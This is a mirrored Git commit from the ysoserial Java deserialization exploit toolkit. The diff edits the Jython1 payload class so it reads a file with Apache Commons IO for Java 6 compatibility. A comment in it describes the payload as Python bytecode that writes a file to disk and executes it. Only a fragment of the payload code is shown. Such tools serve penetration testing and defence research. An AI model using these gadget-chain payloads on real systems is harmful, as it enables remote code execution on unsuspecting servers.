mirror of
https://github.com/frohoff/ysoserial.git
synced 2026-09-27 01:11:53 +08:00
Don't use API introduced in Java 7
This commit is contained in:
@@ -1,10 +1,10 @@
|
|||||||
package ysoserial.payloads;
|
package ysoserial.payloads;
|
||||||
|
|
||||||
|
import org.apache.commons.io.FileUtils;
|
||||||
import org.python.core.*;
|
import org.python.core.*;
|
||||||
|
|
||||||
import java.math.BigInteger;
|
import java.math.BigInteger;
|
||||||
import java.nio.file.Files;
|
import java.io.File;
|
||||||
import java.nio.file.Paths;
|
|
||||||
import java.lang.reflect.Proxy;
|
import java.lang.reflect.Proxy;
|
||||||
import java.util.Arrays;
|
import java.util.Arrays;
|
||||||
import java.util.Comparator;
|
import java.util.Comparator;
|
||||||
@@ -51,7 +51,7 @@ public class Jython1 extends PayloadRunner implements ObjectPayload<PriorityQueu
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Set payload parameters
|
// Set payload parameters
|
||||||
String python_code = new String(Files.readAllBytes(Paths.get(paths[0])));
|
String python_code = FileUtils.readFileToString(new File(paths[0]), "UTF-8");
|
||||||
|
|
||||||
// Python bytecode to write a file on disk and execute it
|
// Python bytecode to write a file on disk and execute it
|
||||||
String code =
|
String code =
|
||||||
|
|||||||
Reference in New Issue
Block a user